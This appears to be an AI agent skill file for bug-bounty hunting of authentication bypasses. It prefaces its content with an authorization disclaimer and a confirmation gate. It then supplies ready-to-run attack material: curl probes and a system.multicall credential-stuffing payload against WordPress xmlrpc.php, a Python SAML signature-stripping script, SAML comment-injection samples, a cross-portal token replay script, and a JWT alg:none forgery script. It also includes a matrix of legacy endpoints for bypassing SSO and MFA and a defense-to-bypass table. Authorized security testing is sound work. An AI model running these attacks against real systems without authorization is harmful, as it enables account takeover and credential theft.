⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
Auth bypass is consistently one of the highest-paying vulnerability classes in bug bounty because it directly violates the most fundamental security control. High-value targets include:
partners.shopify.com, admin.company.com
Asset priority: Targets with federated identity (SAML, OAuth, OIDC) connected to large user populations. Partner/reseller portals are particularly juicy because they often have elevated permissions and less security scrutiny than the main product.
When an org or instance registers an SSH certificate authority, cert principals may not be bound server-side to the requesting identity — a member can mint a cert asserting another user's principal and authenticate as them (e.g. modify another user's resource given only its URL). Add SSH-CA trust to the auth-surface list on Git-hosting targets; niche/platform-specific. Disclosed: reports/1901040.
URL patterns to hunt:
/xmlrpc.php
/wp-login.php
/saml/
/sso/
/auth/saml/callback
/oauth/callback
/partners.*
/admin.*
/?wc-api=
/api/v*/auth
/login?redirect=
/accounts/login
Response headers signaling SSO:
X-Frame-Options: SAMEORIGIN (common on SSO portals)
Set-Cookie: SAMLResponse=
Location: https://idp.company.com/saml
WWW-Authenticate: Bearer realm="partners"
JS patterns indicating federated auth:
// Look for in page source
samlRequest
RelayState
SAMLResponse
onelogin
shibboleth
okta
passport.js authenticate
Tech stack signals:
SimpleSAMLphp, ruby-saml, python-saml
Burp passive scan triggers:
SAMLResponse in any POST bodyopenid_connect or id_token in responses.company.com (wildcard)Map all authentication entry points
robots.txt, JS files, and the wayback machine for forgotten endpoints like /xmlrpc.php
Identify the auth mechanism per entry point
/xmlrpc.php even if the main login is SSO-protectedTest XMLRPC independently of SSO
/xmlrpc.php
system.listMethods first, then wp.getUsersBlogs
Enumerate SAML implementation
Test cross-portal session/token reuse
partners.shopify.com type portalsFuzz auth parameters
password[]=array, SQL in username fieldadmin/admin, test/test on staging subdomainsrole, is_admin, user_type in JWTs (none algorithm, weak secret)Check redirect and state parameters
state from OAuth break anything?redirect_uri to an open redirect target?RelayState in SAML get validated?Verify impact by escalating privileges
When a target has a custom, branded login UI (e.g. customlogin.aspx, /auth/signin, /account/login), always probe the platform's legacy protocol endpoints with native credentials in parallel. These endpoints frequently outlive the custom UI's protections and accept native credentials with NO rate limit, NO MFA challenge, NO CAPTCHA, NO anti-automation. This is the WordPress XMLRPC pattern generalised across CMS / portal / framework stacks.
| Target tech | Legacy endpoint(s) to probe | Native-cred bypass surface |
|---|---|---|
| WordPress | /xmlrpc.php (system.listMethods, wp.getUsersBlogs, system.multicall) |
Native WP user/pass; bypasses SSO, MFA, IP-allow rules on /wp-login.php |
| WordPress (REST) | /?rest_route=/wp/v2/users, /wp-json/wp/v2/users |
User enumeration anonymously even when login page is hardened |
| SharePoint (any version) | /_vti_bin/Authentication.asmx (Mode + Login SOAP ops) |
Native Forms-auth credential; FedAuth cookie returned; no rate limit on this endpoint observed on SP2013 farms — this is the canonical SP equivalent of the WP XMLRPC bypass |
| SharePoint legacy | /_vti_bin/_vti_aut/author.dll, /_vti_bin/_vti_adm/admin.dll, /_vti_bin/owssvr.dll |
FrontPage RPC; sometimes still wired to credential validators |
| SharePoint REST | /_api/contextinfo (POST), /_api/$metadata |
Anonymous FormDigest issuance; full API surface enumeration |
| Atlassian (Jira / Confluence) | /rest/auth/1/session (basic-auth), /rest/api/2/myself, legacy /rest/api/1.0/ |
Native credentials accepted on /rest/auth/1/session even when Atlassian Crowd / Atlassian Access SSO is enforced on the UI |
| Drupal | /jsonapi/, /user/login?_format=json |
JSON POST endpoint that accepts native passwords; separate from SSO middleware |
| Drupal (D7 legacy) | /?q=user/login, /services/, /rest/ |
Older REST modules with independent auth |
| Joomla | /administrator/index.php?option=com_login, /api/index.php/v1/users |
Native Joomla credentials accepted on admin entry independent of any front-site SSO |
| Exchange / OWA | /EWS/Exchange.asmx, /Autodiscover/Autodiscover.xml, /Microsoft-Server-ActiveSync |
NTLM / Basic; bypasses OWA UI restrictions (MFA, IP-allow). The classic CVE-2020-0688 / CVE-2021-26855 surface |
| Citrix NetScaler | /vpn/index.html, /cgi/login, /nf/auth/doAuthentication.do |
Native AD credentials; independent of MFA wrappers |
| F5 BIG-IP | /mgmt/tm/util/bash, /tmui/login.jsp |
Native admin credentials |
| Generic ASP.NET app | *.asmx?WSDL, *.svc?WSDL, trace.axd, elmah.axd, .disco |
Find every web service; many take credentials independently of the WebForms login |
| Spring Boot | /actuator/*, /management/*, /api/v1/auth/login, /api/v1/swagger-ui |
Actuator endpoints sometimes anonymously enumerable |
| Jenkins | /jnlpJars/jenkins-cli.jar, /script, /manage, /computer/(master)/script |
API tokens + native auth |
| GitLab | /api/v3/* (deprecated but still on old installs), /api/v4/users, /api/v4/projects |
Personal Access Tokens with looser scoping than UI session |
| TeamCity | /app/rest/users, /login.html?username=&password= (GET-form-login) |
Native admin credentials |
| Apache Tomcat | /manager/html, /host-manager/html, /manager/text/list |
Native Tomcat realm credentials independent of any front auth |
| WebLogic | /console/login/LoginForm.jsp, /wls-wsat/* |
Native admin |
| Oracle EBS / PeopleSoft | /OA_HTML/AppsLogin, /psp/*/?cmd=login |
Native ERP credentials |
How to use:
hunt-misc Attack Surface Signals).Lesson from a authorized engagement: A an enterprise dealer portal on SharePoint 2013 had a custom branded customlogin.aspx. The hunt-auth-bypass skill was loaded but the matrix above did not exist in this document — and the WordPress XMLRPC pattern was not connected to the SharePoint equivalent. /_vti_bin/Authentication.asmx was reachable anonymously, accepted unlimited credential attempts with no rate limit and no lockout, and was the highest-impact finding in the engagement. Walking this matrix on the first pass would have surfaced it immediately.
XMLRPC auth probe (bypasses SSO):
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>'
# If 200 with method list → XMLRPC is enabled, test auth:
curl -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>password</string></value></param>
</params>
</methodCall>'
SAML signature stripping (send unsigned assertion):
import base64, re
# Decode captured SAMLResponse
saml_b64 = "BASE64_FROM_BURP"
saml_xml = base64.b64decode(saml_b64).decode()
# Strip the Signature element entirely
stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
# Re-encode and submit
print(base64.b64encode(stripped.encode()).decode())
SAML XML comment injection (username confusion):
<!-- Original NameID -->
<NameID>attacker@evil.com</NameID>
<!-- Injected to confuse parser -->
<NameID>attacker@evil.com<!---->.victim@company.com</NameID>
<!-- Or namespace confusion -->
<NameID xmlns:evil="http://evil.com">victim@company.com</NameID>
Partner/cross-portal token reuse test:
# Get token from partner portal
TOKEN=$(curl -s -X POST https://partners.target.com/login \
-d 'email=attacker@test.com&password=pass' \
-c cookies.txt | grep -o 'token=[^;]*')
# Replay against admin portal
curl -s https://admin.target.com/dashboard \
-H "Authorization: Bearer $TOKEN" \
-H "Cookie: $TOKEN"
JWT none algorithm attack:
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"victim@company.com"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
print(token)
Grep patterns for auth bypass surface:
# Find XMLRPC in scope
grep -r "xmlrpc" scope_urls.txt
# Find SSO indicators in JS
grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
# Find partner/admin subdomains
subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"
SSO bypasses local auth entirely at the UI layer, but not at the API layer — developers disable the login form but forget that API endpoints (/xmlrpc.php, REST API, mobile API) have their own auth handlers that still accept native credentials.
SAML signature validation is skipped or optional — library defaults often don't enforce signature checking; developers use wantAssertionsSigned: false or fail to configure the IdP certificate correctly.
Shared session infrastructure across different trust levels — partner portals and admin portals reuse the same session cookie or JWT secret because they're built on the same internal framework, assuming access control at the application layer is sufficient.
Trust inheritance in multi-tenant architectures — a token issued in a lower-privilege context (partner, reseller) is accepted in a higher-privilege context because the verification only checks signature validity, not the issuance context.
Plugin/module auth is independent of application auth — every WordPress plugin that handles auth (contact forms, REST API extensions, WooCommerce) may implement its own auth handler inconsistently with the main site's SSO.
XML parsing inconsistencies — different XML parsers (used by SP vs. IdP) handle comments, namespaces, and whitespace differently, enabling confusion attacks where the signed content differs from the evaluated content.
| Defense | Bypass |
|---|---|
| SSO enforced on login page | Probe alternate entry points: XMLRPC, REST API, mobile API, legacy endpoints |
| SAML signature validation | XML comment injection, namespace wrapping, signature wrapping (XSW), remove signature entirely |
| IP allowlisting on admin portal | Use partner portal token if it shares auth backend |
| Rate limiting on login | XMLRPC allows credential stuffing via system.multicall — batches hundreds of auth attempts in one request |
| CSRF token on login form | SAML flow is POST-based cross-origin by design; no CSRF token needed on /saml/callback |
| JWT signature validation | alg: none, key confusion (RS256 → HS256 with public key as secret), brute-force weak secrets |
| Separate session stores per portal | Check if cookie domain is .target.com (wildcard) — cookie bleeds between subdomains |
| MFA on primary login | If SAML SP doesn't enforce MFA at the assertion level and accepts pre-auth assertions, MFA can be skipped |
XMLRPC multicall for mass auth bypass:
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<!-- repeat for each credential pair -->
</data></array></value></param></params>
</methodCall>
Before writing any report, answer these three questions:
What can the attacker DO right now? Must be: authenticate as another user OR authenticate without valid credentials OR elevate to admin/privileged role. "Partial information disclosure" is not auth bypass.
What does the victim LOSE? Must identify a concrete asset: account takeover of specific user, access to all admin functions, ability to read/modify other tenants' data, or access to privileged APIs. Abstract "security control bypass" without impact is not sufficient.
Can it be reproduced in 10 minutes from scratch? You must be able to: (a) start from a fresh browser/session, (b) follow your exact steps, and (c) arrive at authenticated access to a protected resource. If reproduction requires special preconditions you can't re-create (a specific victim's active session, timing windows), the report needs more work.
Scenario 1 — SSO Enforcement Bypassed via Forgotten Protocol Endpoint
A large ride-sharing company enforced SSO (via OneLogin) on all WordPress-based internal/public properties. The XMLRPC endpoint (/xmlrpc.php) remained active and accepted WordPress-native credentials entirely independent of the SSO flow. An attacker with any valid WP-native credentials (obtained via credential stuffing or from a previous breach) could authenticate directly through XMLRPC, bypassing MFA, SSO policies, and IP restrictions enforced on the main login form. Impact: Full authenticated access to all WordPress functions available to that user role, including content management and potentially admin functions.
Scenario 2 — SAML Assertion Forgery via Signature Validation Failure
A major enterprise communication platform's SAML SP implementation failed to properly validate assertion signatures in specific edge cases. By manipulating the XML structure of a captured SAMLResponse (specifically through comment injection or namespace prefix attacks), an attacker could modify the NameID value to impersonate any user in an organization — including workspace administrators — without possessing that user's credentials or private key material. Impact: Complete account takeover of any user within a SAML-enabled organization; attacker gains access to all messages, files, and integrations in the workspace.
Scenario 3 — Cross-Portal Privilege Escalation via Shared Auth Backend An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.
The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.
GitHub Enterprise Server — SAML XSW via parser differential (CVE-2025-25291/25292) (H1 #2579939 · Blog)
<Assertion> so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled <NameID>admin@target</NameID>
GitHub Enterprise — SAML signature bypass on encrypted assertions (CVE-2024-4985) (H1 #2475347 · ProjectDiscovery advisory)
site_admin
Uber — SAML auth bypass on uchat.uberinternal.com (H1 #223014)
NameID; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chatUber — OneLogin SSO bypass via WordPress XMLRPC (H1 #138869)
@@@nopass@@@. SSO plugin blocked wp-login.php only. POST xmlrpc.php with wp.getUsersBlogs + known shared password → authenticated as any previously-SSO'd userSlack — SAML "confused-deputy" assertion reuse (Writeup)
HackerOne — SAML signup domain enforcement bypass via control characters (H1 #2101076)
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